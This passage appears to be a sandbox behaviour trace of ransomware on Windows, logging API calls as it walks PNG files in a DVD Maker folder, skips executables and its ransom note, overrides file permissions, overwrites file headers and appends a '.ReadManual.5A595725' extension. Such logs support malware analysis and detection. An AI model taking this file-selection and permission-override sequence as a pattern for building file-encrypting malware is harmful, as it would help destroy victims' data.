() returned 0x5 [0252.794] LocalFree (hMem=0x674d38) returned 0x0 [0252.794] CloseHandle (hObject=0x184) returned 1 [0252.795] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0252.795] lstrcpyW (in: lpString1=0x6ab90e, lpString2="btn-next-static.png" | out: lpString1="btn-next-static.png") returned="btn-next-static.png" [0252.795] lstrcmpiW (lpString1="btn-next-static.png", lpString2="RecoveryManual.html") returned -1 [0252.795] StrStrIW (lpFirst="btn-next-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.795] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.795] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.795] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.795] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.795] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.795] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.795] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.795] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.795] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.795] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.795] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.795] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.795] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.796] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.796] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" [0252.796] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.ReadManual.5A595725" [0252.796] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.ReadManual.5A595725") returned 96 [0252.796] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37346442527) returned 1 [0252.796] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png")) returned 0x20 [0252.796] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.796] GetLastError () returned 0x5 [0252.796] GetNamedSecurityInfoW () returned 0x0 [0252.796] SetNamedSecurityInfoW () returned 0x0 [0252.796] SetNamedSecurityInfoW () returned 0x0 [0252.797] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.797] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=10254) returned 1 [0252.797] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x280e, lpName=0x0) returned 0x1a0 [0252.797] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0252.798] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.798] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.799] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.800] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x280e) returned 0x2f0000 [0252.800] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.800] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37346872638) returned 1 [0252.800] CloseHandle (hObject=0x1a0) returned 1 [0252.800] SetSecurityInfo () returned 0x5 [0252.800] SetSecurityInfo () returned 0x5 [0252.800] LocalFree (hMem=0x674d38) returned 0x0 [0252.800] CloseHandle (hObject=0x184) returned 1 [0252.801] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0252.801] lstrcpyW (in: lpString1=0x6ab90e, lpString2="btn-previous-static.png" | out: lpString1="btn-previous-static.png") returned="btn-previous-static.png" [0252.801] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="RecoveryManual.html") returned -1 [0252.801] StrStrIW (lpFirst="btn-previous-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.801] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.801] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.801] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.801] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.801] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.801] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.801] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" [0252.801] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.ReadManual.5A595725" [0252.801] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.ReadManual.5A595725") returned 100 [0252.801] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37347025576) returned 1 [0252.802] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png")) returned 0x20 [0252.802] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.803] GetLastError () returned 0x5 [0252.803] GetNamedSecurityInfoW () returned 0x0 [0252.803] SetNamedSecurityInfoW () returned 0x0 [0252.803] SetNamedSecurityInfoW () returned 0x0 [0252.804] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.804] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=10248) returned 1 [0252.804] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2808, lpName=0x0) returned 0x1a0 [0252.804] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0252.805] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.805] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.806] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.806] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2808) returned 0x2f0000 [0252.807] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.807] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37347554615) returned 1 [0252.807] CloseHandle (hObject=0x1a0) returned 1 [0252.807] SetSecurityInfo () returned 0x5 [0252.807] SetSecurityInfo () returned 0x5 [0252.807] LocalFree (hMem=0x674d38) returned 0x0 [0252.807] CloseHandle (hObject=0x184) returned 1 [0252.807] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0252.807] lstrcpyW (in: lpString1=0x6ab90e, lpString2="button-highlight.png" | out: lpString1="button-highlight.png") returned="button-highlight.png" [0252.807] lstrcmpiW (lpString1="button-highlight.png", lpString2="RecoveryManual.html") returned -1 [0252.807] StrStrIW (lpFirst="button-highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.807] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.807] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.807] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.807] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.807] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.807] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.807] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.807] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.807] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.807] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.807] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.808] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.808] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.808] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.808] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" [0252.808] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.ReadManual.5A595725" [0252.808] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.ReadManual.5A595725") returned 97 [0252.808] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37347646415) returned 1 [0252.808] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png")) returned 0x20 [0252.808] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.808] GetLastError () returned 0x5 [0252.808] GetNamedSecurityInfoW () returned 0x0 [0252.808] SetNamedSecurityInfoW () returned 0x0 [0252.808] SetNamedSecurityInfoW () returned 0x0 [0252.809] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.809] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2374) returned 1 [0252.809] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x946, lpName=0x0) returned 0x1a0 [0252.809] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0252.810] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.810] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.811] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.811] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x946) returned 0x2f0000 [0252.812] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.812] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37348036486) returned 1 [0252.812] CloseHandle (hObject=0x1a0) returned 1 [0252.812] SetSecurityInfo () returned 0x5 [0252.812] SetSecurityInfo () returned 0x5 [0252.812] LocalFree (hMem=0x674d38) returned 0x0 [0252.812] CloseHandle (hObject=0x184) returned 1 [0252.812] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0252.812] lstrcpyW (in: lpString1=0x6ab90e, lpString2="button-overlay.png" | out: lpString1="button-overlay.png") returned="button-overlay.png" [0252.812] lstrcmpiW (lpString1="button-overlay.png", lpString2="RecoveryManual.html") returned -1 [0252.812] StrStrIW (lpFirst="button-overlay.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.812] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.812] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.812] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.812] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.812] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.812] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.812] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" [0252.812] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.ReadManual.5A595725" [0252.812] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.ReadManual.5A595725") returned 95 [0252.813] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37348129589) returned 1 [0252.813] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png")) returned 0x20 [0252.813] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.813] GetLastError () returned 0x5 [0252.813] GetNamedSecurityInfoW () returned 0x0 [0252.813] SetNamedSecurityInfoW () returned 0x0 [0252.813] SetNamedSecurityInfoW () returned 0x0 [0252.814] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.814] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=27581) returned 1 [0252.814] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6bbd, lpName=0x0) returned 0x1a0 [0252.814] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0252.815] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.815] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.816] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.817] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6bbd) returned 0x2f0000 [0252.817] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.817] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37348591157) returned 1 [0252.817] CloseHandle (hObject=0x1a0) returned 1 [0252.817] SetSecurityInfo () returned 0x5 [0252.817] SetSecurityInfo () returned 0x5 [0252.817] LocalFree (hMem=0x674d38) returned 0x0 [0252.817] CloseHandle (hObject=0x184) returned 1 [0252.817] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0252.818] lstrcpyW (in: lpString1=0x6ab90e, lpString2="Memories_buttonClear.png" | out: lpString1="Memories_buttonClear.png") returned="Memories_buttonClear.png" [0252.818] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="RecoveryManual.html") returned -1 [0252.818] StrStrIW (lpFirst="Memories_buttonClear.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.818] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.818] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.818] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.818] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.818] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.818] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.818] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" [0252.818] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.ReadManual.5A595725" [0252.818] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.ReadManual.5A595725") returned 101 [0252.818] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37348685652) returned 1 [0252.818] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png")) returned 0x20 [0252.818] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.818] GetLastError () returned 0x5 [0252.818] GetNamedSecurityInfoW () returned 0x0 [0252.819] SetNamedSecurityInfoW () returned 0x0 [0252.819] SetNamedSecurityInfoW () returned 0x0 [0252.820] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.820] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2899) returned 1 [0252.820] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 